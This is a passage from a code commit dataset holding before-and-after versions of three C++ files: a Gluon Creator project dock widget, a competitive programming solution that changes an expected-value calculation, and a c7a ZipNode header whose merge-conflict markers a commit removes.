!d->currentContextIndex.isValid() )\n        return;\n\n\n    GluonCore::GluonObject* object = static_cast<GluonCore::GluonObject*>( d->currentContextIndex.internalPointer() );\n    DEBUG_TEXT( QString( \"Requested deletion of %1\" ).arg( object->fullyQualifiedName() ) );\n    if( KMessageBox::questionYesNo( this, i18n( \"Are you sure you wish to delete %1?\\nThis will delete the item and all its children!\" ).arg( object->name() ), i18n( \"Really Delete?\" ) ) == KMessageBox::Yes )\n    {\n        ObjectManager::instance()->assetDeleted( static_cast<GluonEngine::Asset*>( object ) );\n\n        d->view->selectionModel()->select( d->currentContextIndex.parent(), QItemSelectionModel::ClearAndSelect );\n        d->model->removeRows( d->currentContextIndex.row(), 1, d->currentContextIndex.parent() );\n\n        d->currentContextIndex = QModelIndex();\n    }\n}\n\nvoid ProjectDock::newSubMenuTriggered()\n{\n    if( !d->currentContextIndex.isValid() )\n        d->currentContextIndex = d->model->index(0, 0);\n\n    QModelIndex newFolder = d->model->addChild( new GluonCore::GluonObject( i18n(\"New Folder\") ), d->currentContextIndex );\n    d->view->edit(newFolder);\n}\n\nvoid GluonCreator::ProjectDock::newAssetTriggered()\n{\n    if( !d->currentContextIndex.isValid() )\n        d->currentContextIndex = d->model->index(0, 0);\n\n    QAction* menuItem = qobject_cast< QAction* >( QObject::sender() );\n    if( menuItem )\n    {\n        QString templateFilename = QString( \"gluon\/templates\/%1\/%2\" ).arg( menuItem->property( \"newAssetPluginname\" ).toString() ).arg( menuItem->property( \"newAssetFilename\" ).toString() );\n        QString fileName = GluonCore::Global::dataDirectory() + '\/' + templateFilename;\n        if( fileName.isEmpty() )\n        {\n            DEBUG_BLOCK\n            DEBUG_TEXT( \"Failed at finding the template file!\" );\n            return;\n        }\n\n        GluonEngine::Asset* newAsset = ObjectManager::instance()->createNewAsset(fileName,\n                                                                                 menuItem->property( \"newAssetClassname\" ).toString(),\n                                                                                 menuItem->property( \"newAssetName\" ).toString() );\n\n        if( newAsset )\n        {\n            d->model->addChild( newAsset, d->currentContextIndex );\n        }\n    }\n}\n\nvoid ProjectDock::importAssetsTriggered()\n{\n    ObjectManager::instance()->createAssets(KFileDialog::getOpenFileNames());\n}\n<commit_msg>Creator: Set a proper range for the quaternion PWI.<commit_after>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2010 Arjen Hiemstra <ahiemstra@heimr.nl>\n * Copyright (c) 2011 Laszlo Papp <djszapi@archlinux.us>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include \"projectdock.h\"\n\n#include \"filemanager.h\"\n#include \"historymanager.h\"\n#include \"newobjectcommand.h\"\n#include \"objectmanager.h\"\n#include \"selectionmanager.h\"\n#include \"models\/projectmodel.h\"\n#include \"models\/models.h\"\n#include \"models\/modeltest.h\"\n\n#include \"lib\/selectionmanager.h\"\n#include \"objectmanager.h\"\n#include \"filemanager.h\"\n#include \"historymanager.h\"\n#include \"newobjectcommand.h\"\n\n#include \"core\/debughelper.h\"\n#include \"core\/gluon_global.h\"\n#include \"engine\/asset.h\"\n#include \"engine\/game.h\"\n#include \"engine\/gameobject.h\"\n#include \"engine\/gameproject.h\"\n#include \"lib\/selectionmanager.h\"\n#include \"engine\/scene.h\"\n\n#include <KDE\/KIcon>\n#include <KDE\/KInputDialog>\n#include <KDE\/KLocalizedString>\n#include <KDE\/KMessageBox>\n#include <KDE\/KRun>\n#include <KDE\/KStandardDirs>\n#include <KDE\/KToolBar>\n#include <KDE\/KFileItemListProperties>\n#include <KDE\/KFileItemActions>\n#include <KDE\/KFileDialog>\n\n#include <QtCore\/QDir>\n#include <QtCore\/QFile>\n#include <QtCore\/QFileInfo>\n#include <QtGui\/QMenu>\n#include <QtGui\/QTreeView>\n#include <QtGui\/QVBoxLayout>\n#include <QtGui\/QToolButton>\n\nusing namespace GluonCreator;\n\nclass ProjectDock::ProjectDockPrivate\n{\n    public:\n        ProjectDockPrivate( ProjectDock* parent )\n        {\n            DEBUG_BLOCK\n            q = parent;\n            view = 0;\n            GluonEngine::Asset* theItem;\n            const QHash<QString, const QMetaObject*> types = GluonCore::GluonObjectFactory::instance()->objectTypes();\n            QHash<QString, const QMetaObject*>::const_iterator i;\n            for( i = types.constBegin(); i != types.constEnd(); ++i )\n            {\n                theItem = qobject_cast<GluonEngine::Asset*>( i.value()->newInstance() );\n                if( theItem )\n                {\n                    const QList<GluonEngine::AssetTemplate*> templates = theItem->templates();\n                    for( int j = 0; j < templates.length(); ++j )\n                    {\n                        assetTemplates.append( templates[j] );\n                    }\n                }\n                else\n                {\n                    QObject* obj = i.value()->newInstance();\n                    if( obj )\n                    {\n                        if( obj->inherits( \"GluonEngine::Asset\" ) )\n                        {\n                            DEBUG_TEXT2( \"The Asset class %1 is lacking the Q_INTERFACES(GluonEngine::Asset) macro\", i.value()->className() );\n                        }\n                    }\n                }\n            }\n        }\n        ProjectDock* q;\n        ProjectModel* model;\n        QTreeView* view;\n        KToolBar* toolBar;\n        QMenu* newMenu;\n\n        QModelIndex currentContextIndex;\n        void menuForObject( QModelIndex index, QMenu* menu );\n        QList<QAction*> currentContextMenu;\n        QList<GluonEngine::AssetTemplate*> assetTemplates;\n};\n\nvoid ProjectDock::ProjectDockPrivate::menuForObject( QModelIndex index, QMenu* menu )\n{\n    GluonCore::GluonObject* object = static_cast<GluonCore::GluonObject*>( index.internalPointer() );\n    if( object )\n    {\n        const QMetaObject* mobj = object->metaObject();\n        if( mobj )\n        {\n            currentContextIndex = index;\n            QAction* action;\n            if( object->inherits( \"GluonEngine::Asset\" ) )\n            {\n                GluonEngine::Asset* asset = qobject_cast< GluonEngine::Asset* >( object );\n                if( asset )\n                {\n                    if(!asset->inherits(\"GluonEngine::Scene\"))\n                    {\n                        KFileItem item(KFileItem::Unknown, KFileItem::Unknown, KUrl(asset->absolutePath()));\n                        KFileItemListProperties properties(KFileItemList() << item );\n                        KFileItemActions* openWithActions = new KFileItemActions(menu);\n                        openWithActions->setItemListProperties(properties);\n\n                        openWithActions->addOpenWithActionsTo(menu);\n                    }\n\n                    menu->addSeparator();\n\n                    QList<QAction*> actions = asset->actions();\n                    foreach( QAction * action, actions )\n                    {\n                        connect( action, SIGNAL( triggered( bool ) ), model, SIGNAL( layoutChanged() ) );\n                        menu->addAction(action);\n                    }\n                }\n            }\n            else\n            {\n                menu->addActions(newMenu->actions());\n            }\n\n            if( !object->inherits( \"GluonEngine::GameProject\" ) )\n            {\n                menu->addSeparator();\n\n                action = new QAction( KIcon( \"edit-delete\" ), i18n( \"Delete \\\"%1\\\"...\", object->name() ), this->q );\n                connect( action, SIGNAL( triggered() ), q, SLOT( deleteActionTriggered() ) );\n                menu->addAction( action );\n            }\n        }\n    }\n}\n\n\n\nProjectDock::ProjectDock( const QString& title, QWidget* parent, Qt::WindowFlags flags )\n    : QDockWidget( title, parent, flags ), d( new ProjectDockPrivate( this ) )\n{\n    setObjectName( \"ProjectDock\" );\n\n    d->model = Models::instance()->projectModel();\n    new ModelTest( d->model, this );\n\n    d->view = new QTreeView( this );\n    d->view->setModel( d->model );\n    d->view->setHeaderHidden( true );\n    d->view->setDragEnabled( true );\n    d->view->setAcceptDrops( true );\n    d->view->setContextMenuPolicy( Qt::CustomContextMenu );\n    d->view->setEditTriggers( QAbstractItemView::NoEditTriggers );\n    connect( d->view, SIGNAL( customContextMenuRequested( const QPoint& ) ), SLOT( showContextMenuRequested( const QPoint& ) ) );\n    connect( d->view->selectionModel(), SIGNAL( selectionChanged( QItemSelection, QItemSelection ) ), SLOT( selectionChanged( QItemSelection, QItemSelection ) ) );\n\n    d->model->setProject( GluonEngine::Game::instance()->gameProject() );\n    connect( GluonEngine::Game::instance(), SIGNAL( currentProjectChanged( GluonEngine::GameProject* ) ), SLOT( currentProjectChanged( GluonEngine::GameProject* ) ) );\n    connect( d->view, SIGNAL( doubleClicked( QModelIndex ) ), SLOT( activated( QModelIndex ) ) );\n\n    QWidget* widget = new QWidget( this );\n    QVBoxLayout* layout = new QVBoxLayout();\n    widget->setLayout( layout );\n\n    d->toolBar = new KToolBar( widget );\n    d->toolBar->setIconDimensions( 16 );\n\n    d->newMenu = new QMenu(i18n(\"New\"), d->toolBar);\n\n    QToolButton* menuButton = new QToolButton(d->toolBar);\n    menuButton->setIcon(KIcon(\"document-new\"));\n    menuButton->setText(i18n(\"Add...\"));\n    menuButton->setPopupMode(QToolButton::InstantPopup);\n    menuButton->setToolButtonStyle(Qt::ToolButtonTextBesideIcon);\n    menuButton->setMenu(d->newMenu);\n\n    d->toolBar->insertWidget(0, menuButton);\n\n    d->newMenu->addAction( KIcon( \"folder\" ), i18n( \"New Folder\" ), this, SLOT( newSubMenuTriggered() ) );\n    d->newMenu->addAction( KIcon( \"document-new\" ), i18n( \"New Scene\" ), ObjectManager::instance(), SLOT( createNewScene() ) );\n    d->newMenu->addSeparator();\n\n    \/\/ Run through all the templates and add an action for each...\n    foreach( const GluonEngine::AssetTemplate * item, d->assetTemplates )\n    {\n        QAction* action = d->newMenu->addAction( i18n( \"New %1\" ).arg( item->name ), this, SLOT( newAssetTriggered() ));\n        action->setProperty( \"newAssetClassname\", QString( item->parent()->metaObject()->className() ) );\n        action->setProperty( \"newAssetName\", item->name );\n        action->setProperty( \"newAssetPluginname\", item->pluginname );\n        action->setProperty( \"newAssetFilename\", item->filename );\n    }\n\n    d->newMenu->addSeparator();\n    d->newMenu->addAction( KIcon(\"document-import\"), i18n(\"Import Assets...\"), this, SLOT(importAssetsTriggered()) );\n\n    d->toolBar->addAction( KIcon( \"edit-delete\" ), i18nc( \"Delete selected object from project\", \"Delete\" ), this, SLOT( deleteActionTriggered() ) );\n\n    layout->addWidget( d->toolBar );\n    layout->addWidget( d->view );\n\n    setWidget( widget );\n}\n\nProjectDock::~ProjectDock()\n{\n    delete d;\n}\n\nvoid ProjectDock::activated( QModelIndex index )\n{\n    DEBUG_FUNC_NAME\n    if( !index.isValid() )\n    {\n        return;\n    }\n\n    QObject* obj = static_cast<QObject*>( index.internalPointer() );\n    if( !obj )\n    {\n        return;\n    }\n\n    GluonEngine::Scene* scene = qobject_cast<GluonEngine::Scene*>( obj );\n    GluonEngine::Asset* asset = qobject_cast<GluonEngine::Asset*>( obj );\n    \/\/ Scene's a special asset, so we check for that first\n    if( scene )\n    {\n        if( GluonEngine::Game::instance()->currentScene() != scene )\n        {\n            GluonEngine::Game::instance()->setCurrentScene( scene );\n            GluonEngine::Game::instance()->initializeAll();\n            GluonEngine::Game::instance()->drawAll();\n        }\n    }\n    else if( asset )\n    {\n        FileManager::instance()->openAsset( asset );\n    }\n}\n\nvoid ProjectDock::selectionChanged( const QItemSelection& selected, const QItemSelection& deselected )\n{\n    Q_UNUSED( deselected )\n\n    SelectionManager::SelectionList selection;\n    foreach( const QItemSelectionRange & range, selected )\n    {\n        foreach( const QModelIndex & index, range.indexes() )\n        {\n            GluonCore::GluonObject* obj = static_cast<GluonCore::GluonObject*>( index.internalPointer() );\n            selection.append( obj );\n        }\n    }\n    SelectionManager::instance()->setSelection( selection );\n}\n\nvoid ProjectDock::currentProjectChanged( GluonEngine::GameProject* project )\n{\n    d->model->setProject( project );\n\n    if( !d->toolBar->isEnabled() )\n        d->toolBar->setEnabled( true );\n\n    d->view->expandAll();\n}\n\nvoid ProjectDock::showContextMenuRequested( const QPoint& pos )\n{\n    QModelIndex index = d->view->indexAt( pos );\n    if( !index.isValid() )\n        index = d->model->index( 0, 0 );\n\n    QMenu menu( static_cast<GluonCore::GluonObject*>( index.internalPointer() )->name(), this );\n    d->menuForObject(index, &menu);\n    menu.exec( d->view->mapToGlobal( pos ) );\n    connect( &menu, SIGNAL( aboutToHide() ), SLOT( contextMenuHiding() ) );\n}\n\nvoid ProjectDock::contextMenuHiding()\n{\n    d->currentContextIndex = QModelIndex();\n}\n\nvoid ProjectDock::deleteActionTriggered()\n{\n    DEBUG_BLOCK\n    if( !d->currentContextIndex.isValid() )\n        d->currentContextIndex = d->view->selectionModel()->currentIndex();\n\n    if( !d->currentContextIndex.isValid() )\n        return;\n\n\n    GluonCore::GluonObject* object = static_cast<GluonCore::GluonObject*>( d->currentContextIndex.internalPointer() );\n    DEBUG_TEXT( QString( \"Requested deletion of %1\" ).arg( object->fullyQualifiedName() ) );\n    if( KMessageBox::questionYesNo( this, i18n( \"Are you sure you wish to delete %1?\\nThis will delete the item and all its children!\" ).arg( object->name() ), i18n( \"Really Delete?\" ) ) == KMessageBox::Yes )\n    {\n        ObjectManager::instance()->assetDeleted( static_cast<GluonEngine::Asset*>( object ) );\n\n        d->view->selectionModel()->select( d->currentContextIndex.parent(), QItemSelectionModel::ClearAndSelect );\n        d->model->removeRows( d->currentContextIndex.row(), 1, d->currentContextIndex.parent() );\n\n        d->currentContextIndex = QModelIndex();\n    }\n}\n\nvoid ProjectDock::newSubMenuTriggered()\n{\n    if( !d->currentContextIndex.isValid() )\n        d->currentContextIndex = d->model->index(0, 0);\n\n    QModelIndex newFolder = d->model->addChild( new GluonCore::GluonObject( i18n(\"New Folder\") ), d->currentContextIndex );\n    d->view->edit(newFolder);\n}\n\nvoid GluonCreator::ProjectDock::newAssetTriggered()\n{\n    if( !d->currentContextIndex.isValid() )\n        d->currentContextIndex = d->model->index(0, 0);\n\n    QAction* menuItem = qobject_cast< QAction* >( QObject::sender() );\n    if( menuItem )\n    {\n        QString templateFilename = QString( \"gluon\/templates\/%1\/%2\" ).arg( menuItem->property( \"newAssetPluginname\" ).toString() ).arg( menuItem->property( \"newAssetFilename\" ).toString() );\n        QString fileName = GluonCore::Global::dataDirectory() + '\/' + templateFilename;\n        if( fileName.isEmpty() )\n        {\n            DEBUG_BLOCK\n            DEBUG_TEXT( \"Failed at finding the template file!\" );\n            return;\n        }\n\n        GluonEngine::Asset* newAsset = ObjectManager::instance()->createNewAsset(fileName,\n                                                                                 menuItem->property( \"newAssetClassname\" ).toString(),\n                                                                                 menuItem->property( \"newAssetName\" ).toString() );\n\n        if( newAsset )\n        {\n            d->model->addChild( newAsset, d->currentContextIndex );\n        }\n    }\n}\n\nvoid ProjectDock::importAssetsTriggered()\n{\n    ObjectManager::instance()->createAssets(KFileDialog::getOpenFileNames());\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * File    : D.cpp\n * Author  : Kazune Takahashi\n * Created : 2018-10-14 21:35:05\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip>   \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(19920725));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nint N, M;\nll q;\nll x[2010];\nll p[2010];\nll r[2010];\nint ok[2010];\n\nint main()\n{\n  cin >> N >> M >> q;\n  for (auto i = 0; i < M; i++)\n  {\n    cin >> x[i] >> p[i];\n  }\n  for (auto i = 0; i < M; i++)\n  {\n    r[i] = p[i] * N \/ q;\n    cerr << \"r[\" << i << \"] = \" << r[i] << endl;\n  }\n  ll rem = N;\n  for (auto i = 0; i < M; i++)\n  {\n    rem -= r[i];\n  }\n  cerr << \"rem = \" << rem << endl;\n  for (auto i = 0; i < M; i++)\n  {\n    if (abs(p[i] * N - r[i] * q) > abs(p[i] * N - (r[i] + 1) * q))\n    {\n      ok[i] = 2;\n    }\n    else if (abs(p[i] * N - r[i] * q) == abs(p[i] * N - (r[i] + 1) * q))\n    {\n      ok[i] = 1;\n    }\n    else\n    {\n      ok[i] = 0;\n    }\n    cerr << \"ok[\" << i << \"] = \" << ok[i] << endl;\n  }\n  for (int i = M - 1; i >= 0; i--)\n  {\n    if (ok[i] == 2 && rem > 0)\n    {\n      r[i]++;\n      rem--;\n    }\n  }\n  for (int i = M - 1; i >= 0; i--)\n  {\n    if (ok[i] == 1 && rem > 0)\n    {\n      r[i]++;\n      rem--;\n    }\n  }\n  r[0] += rem;\n  for (auto i = 0; i < M; i++)\n  {\n    cerr << \"r[\" << i << \"] = \" << r[i] << endl;\n  }\n  double E_init = 0;\n  for (auto i = 0; i < M; i++)\n  {\n    E_init += r[i] * x[i];\n  }\n  E_init \/= N;\n  cerr << \"E_init = \" << E_init << endl;\n  double E = 0;\n  for (auto i = 0; i < M; i++)\n  {\n    E += abs(p[i] \/ (double)q - r[i] \/ (double)N) * abs(x[i] - E_init);\n  }\n  cout << fixed << setprecision(12) << E * N << endl;\n}<commit_msg>tried D.cpp to 'D'<commit_after>\/**\n * File    : D.cpp\n * Author  : Kazune Takahashi\n * Created : 2018-10-14 21:35:05\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip>   \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(19920725));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nint N, M;\nll q;\nll x[2010];\nll p[2010];\nll r[2010];\nint ok[2010];\n\nint main()\n{\n  cin >> N >> M >> q;\n  for (auto i = 0; i < M; i++)\n  {\n    cin >> x[i] >> p[i];\n  }\n  for (auto i = 0; i < M; i++)\n  {\n    r[i] = p[i] * N \/ q;\n    cerr << \"r[\" << i << \"] = \" << r[i] << endl;\n  }\n  ll rem = N;\n  for (auto i = 0; i < M; i++)\n  {\n    rem -= r[i];\n  }\n  cerr << \"rem = \" << rem << endl;\n  for (auto i = 0; i < M; i++)\n  {\n    if (abs(p[i] * N - r[i] * q) > abs(p[i] * N - (r[i] + 1) * q))\n    {\n      ok[i] = 2;\n    }\n    else if (abs(p[i] * N - r[i] * q) == abs(p[i] * N - (r[i] + 1) * q))\n    {\n      ok[i] = 1;\n    }\n    else\n    {\n      ok[i] = 0;\n    }\n    cerr << \"ok[\" << i << \"] = \" << ok[i] << endl;\n  }\n  for (int i = M - 1; i >= 0; i--)\n  {\n    if (ok[i] == 2 && rem > 0)\n    {\n      r[i]++;\n      rem--;\n    }\n  }\n  for (int i = M - 1; i >= 0; i--)\n  {\n    if (ok[i] == 1 && rem > 0)\n    {\n      r[i]++;\n      rem--;\n    }\n  }\n  r[0] += rem;\n  for (auto i = 0; i < M; i++)\n  {\n    cerr << \"r[\" << i << \"] = \" << r[i] << endl;\n  }\n  double E_init = 0;\n  for (auto i = 0; i < M; i++)\n  {\n    E_init += p[i] * x[i];\n  }\n  E_init \/= q;\n  cerr << \"E_init = \" << E_init << endl;\n  double E = 0;\n  for (auto i = 0; i < M; i++)\n  {\n    E += abs(p[i] \/ (double)q - r[i] \/ (double)N) * abs(x[i] - E_init);\n  }\n  cout << fixed << setprecision(12) << E * N << endl;\n}<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\n * c7a\/api\/zip_node.hpp\n *\n * DIANode for a reduce operation. Performs the actual reduce operation\n *\n * Part of Project c7a.\n *\n *\n * This file has no license. Only Chuck Norris can compile it.\n ******************************************************************************\/\n\n#pragma once\n#ifndef C7A_API_ZIP_NODE_HEADER\n#define C7A_API_ZIP_NODE_HEADER\n\n#include <c7a\/api\/dop_node.hpp>\n#include <c7a\/api\/context.hpp>\n#include <c7a\/api\/function_stack.hpp>\n#include <c7a\/common\/logger.hpp>\n#include <c7a\/net\/collective_communication.hpp>\n\n#include <functional>\n#include <string>\n#include <vector>\n\nnamespace c7a {\n    namespace api {\n\n\/\/! \\addtogroup api Interface\n\/\/! \\{\n\n\/*!\n * A DIANode which performs a Zip operation. Zip combines two DIAs\n * element-by-element. The ZipNode stores the zip_function UDF. The chainable\n * LOps are stored in the Stack.\n *\n * <pre>\n *                ParentStack1 ParentStack2\n *                 +--------+   +--------+\n *                 |        |   |        |  A ParentStackX is called with\n *                 |        |   |        |  ParentInputX, and must deliver\n *                 |        |   |        |  a ZipArgX item.\n *               +-+--------+---+--------+-+\n *               | | PreOp1 |   | PreOp2 | |\n *               | +--------+   +--------+ |\n * DIARef<T> --> |           Zip           |\n *               |        +-------+        |\n *               |        |PostOp |        |\n *               +--------+-------+--------+\n *                        |       | New DIARef<T>::stack_ is started\n *                        |       | with PostOp to chain next nodes.\n *                        +-------+\n * <\/pre>\n *\n * \\tparam ValueType Output type of the Zip operation.\n *\n * \\tparam ParentStack1 Function stack, which contains the chained lambdas\n * between the last and this DIANode for first input DIA.\n *\n * \\tparam ParentStack2 Function stack, which contains the chained lambdas\n * between the last and this DIANode for second input DIA.\n *\n * \\tparam ZipFunction Type of the ZipFunction.\n *\/\ntemplate <typename ValueType,\ntypename ParentStack1, typename ParentStack2,\ntypename ZipFunction>\nclass TwoZipNode : public DOpNode<ValueType>\n{\n    static const bool debug = false;\n\n    using Super = DOpNode<ValueType>;\n    using Super::context_;\n\n    using ZipArg0 =\n    typename common::FunctionTraits<ZipFunction>::template arg<0>;\n    using ZipArg1 =\n    typename common::FunctionTraits<ZipFunction>::template arg<1>;\n\n    using ParentInput1 = typename ParentStack1::Input;\n    using ParentInput2 = typename ParentStack2::Input;\n\npublic:\n    \/*!\n     * Constructor for a ZipNode.\n     *\n     * \\param ctx Reference to the Context, which gives iterators for data\n     * \\param parent1 First parent of the ZipNode\n     * \\param parent2 Second parent of the ZipNode\n     * \\param parent_stack1 Function stack with all lambdas between the parent and this node for first DIA\n     * \\param parent_stack2 Function stack with all lambdas between the parent and this node for second DIA\n     * \\param zip_function Zip function used to zip elements.\n     *\/\n    TwoZipNode(Context& ctx,\n               std::shared_ptr<DIANode<ParentInput1>> parent1,\n               std::shared_ptr<DIANode<ParentInput2>> parent2,\n               ParentStack1& parent_stack1,\n               ParentStack2& parent_stack2,\n               ZipFunction zip_function)\n            : DOpNode<ValueType>(ctx, { parent1, parent2 }),\n              zip_function_(zip_function)\n    {\n        \/\/ Hook PreOp(s)\n        auto pre_op1_fn = [=](const ZipArg0& input) {\n            emit1_(input);\n        };\n        auto pre_op2_fn = [=](const ZipArg1& input) {\n            emit2_(input);\n        };\n\n        \/\/ close the function stacks with our pre ops and register it at parent\n        \/\/ nodes for output\n        auto lop_chain1 = parent_stack1.push(pre_op1_fn).emit();\n        auto lop_chain2 = parent_stack2.push(pre_op2_fn).emit();\n\n        parent1->RegisterChild(lop_chain1);\n        parent2->RegisterChild(lop_chain2);\n\n        \/\/ Setup Emitters\n        for (size_t i = 0; i < num_dias_; ++i) {\n            id_[i] = context_.get_data_manager().AllocateDIA();\n        }\n        emit1_ = context_.get_data_manager().\n                template GetLocalEmitter<ZipArg0>(id_[0]);\n        emit2_ = context_.get_data_manager().\n                template GetLocalEmitter<ZipArg1>(id_[1]);\n    }\n\n    \/*!\n     * Actually executes the zip operation. Uses the member functions PreOp,\n     * MainOp and PostOp.\n     *\/\n    void Execute() override {\n        MainOp();\n        \/\/ get data from data manager\n        auto it1 = context_.get_data_manager().\n                template GetIterator<ZipArg0>(id_[0]);\n        auto it2 = context_.get_data_manager().\n                template GetIterator<ZipArg1>(id_[1]);\n        do {\n            it1.WaitForMore();\n            it2.WaitForMore();\n            \/\/ Iterate over smaller DIA\n            while (it1.HasNext() && it2.HasNext()) {\n                auto item = std::make_pair(it1.Next(), it2.Next());\n                for (auto func : DIANode<ValueType>::callbacks_) {\n                    func(item);\n                }\n            }\n        } while (!it1.IsClosed() && !it2.IsClosed());\n    }\n\n    \/*!\n     * Creates empty stack.\n     *\/\n    auto ProduceStack() {\n        \/\/ Hook PostOp\n        auto post_op_fn = [=](ValueType elem, auto emit_func) {\n            return PostOp(elem, emit_func);\n        };\n\n        return MakeFunctionStack<ValueType>(post_op_fn);\n    }\n\n    \/*!\n     * Returns \"[ZipNode]\" as a string.\n     * \\return \"[ZipNode]\"\n     *\/\n    std::string ToString() override {\n        return \"[ZipNode]\";\n    }\n\nprivate:\n    \/\/! Zip function\n    ZipFunction zip_function_;\n\n    \/\/! Number of storage DIAs backing\n    static const size_t num_dias_ = 2;\n\n    \/\/! Ids of storage DIAs\n    std::array<data::DIAId, num_dias_> id_;\n\n    \/\/! Emitter\n    data::Emitter<ZipArg0> emit1_;\n    data::Emitter<ZipArg1> emit2_;\n\n    \/\/!Receive elements from other workers.\n    void MainOp() {\n        \/\/net::Group flow_group = context_.get_flow_net_group();\n        net::FlowControlChannel& channel = context_.get_flow_control_channel();\n\n        data::Manager &data_manager = context_.get_data_manager();\n        size_t workers = context_.number_worker();\n\n        \/\/ Offsets to declare which target gets which block\n        std::vector<size_t> blocks(num_dias_, 0);\n\n        for (size_t i = 0; i < num_dias_; ++i) {\n            size_t numElems = data_manager.GetNumElements(id_[i]);\n            \/\/net::PrefixSum(flow_group, prefix);\n            size_t prefixNumElems = channel.PrefixSum(numElems, common::SumOp<ValueType>(), false);\n            \/\/flow_group.TotalSum(prefix);\n            size_t totalNumElems = channel.AllReduce(numElems);\n            \/\/size_t total = data_manager.GetNumElements(id_[i]);\n            size_t per_pe = totalNumElems \/ workers;\n            \/\/ offsets for scattering\n            std::vector<size_t> offsets(num_dias_, 0);\n\n            size_t offset = 0;\n            size_t count = std::min(per_pe - prefixNumElems % per_pe, numElems);\n            size_t target = prefixNumElems \/ per_pe;\n\n            while (numElems > 0) {\n                offsets[target] = offset + count - 1;\n                prefixNumElems += count;\n                numElems -= count;\n                offset += count;\n                count = std::min(per_pe - prefixNumElems % per_pe, numElems);\n                target++;\n            }\n\n            for (size_t x = target; x < workers; x++)\n                offsets[x] = offsets[x-1];\n\n            data_manager.Scatter(id_[i], data_manager.AllocateNetworkChannel(), offsets);\n        }\n    }\n\n    \/\/! Use the ZipFunction to Zip workers\n    template <typename Emitter>\n    void PostOp(ValueType input, Emitter emit_func) {\n        emit_func(zip_function_(input.first, input.second));\n    }\n};\n\ntemplate <typename CurrentType, typename Stack>\ntemplate <typename ZipFunction, typename SecondDIA>\nauto DIARef<CurrentType, Stack>::Zip(\n        const ZipFunction &zip_function, SecondDIA second_dia) {\n\n    using ZipResult\n    = typename common::FunctionTraits<ZipFunction>::result_type;\n\n    using ZipResultNode\n    = TwoZipNode<ZipResult, Stack, typename SecondDIA::Stack,\n            ZipFunction>;\n\n    auto zip_node\n<<<<<<< HEAD\n            = std::make_shared<ZipResultNode>(node_->get_context(),\n                                              node_.get(),\n                                              second_dia.get_node(),\n                                              local_stack_,\n                                              second_dia.get_stack(),\n                                              zip_function);\n=======\n        = std::make_shared<ZipResultNode>(node_->get_context(),\n                                          node_,\n                                          second_dia.get_node(),\n                                          local_stack_,\n                                          second_dia.get_stack(),\n                                          zip_function);\n>>>>>>> origin\/master\n\n    auto zip_stack = zip_node->ProduceStack();\n\n    return DIARef<ZipResultNode, decltype(zip_stack)>(\n            std::move(zip_node), zip_stack);\n}\n\n} \/\/ namespace api\n} \/\/ namespace c7a\n\n\/\/! \\}\n\n#endif \/\/ !C7A_API_ZIP_NODE_HEADER\n\n\/******************************************************************************\/<commit_msg>fixed artefacts after merge conflict<commit_after>\/*******************************************************************************\n * c7a\/api\/zip_node.hpp\n *\n * DIANode for a reduce operation. Performs the actual reduce operation\n *\n * Part of Project c7a.\n *\n *\n * This file has no license. Only Chuck Norris can compile it.\n ******************************************************************************\/\n\n#pragma once\n#ifndef C7A_API_ZIP_NODE_HEADER\n#define C7A_API_ZIP_NODE_HEADER\n\n#include <c7a\/api\/dop_node.hpp>\n#include <c7a\/api\/context.hpp>\n#include <c7a\/api\/function_stack.hpp>\n#include <c7a\/common\/logger.hpp>\n#include <c7a\/net\/collective_communication.hpp>\n\n#include <functional>\n#include <string>\n#include <vector>\n\nnamespace c7a {\n    namespace api {\n\n\/\/! \\addtogroup api Interface\n\/\/! 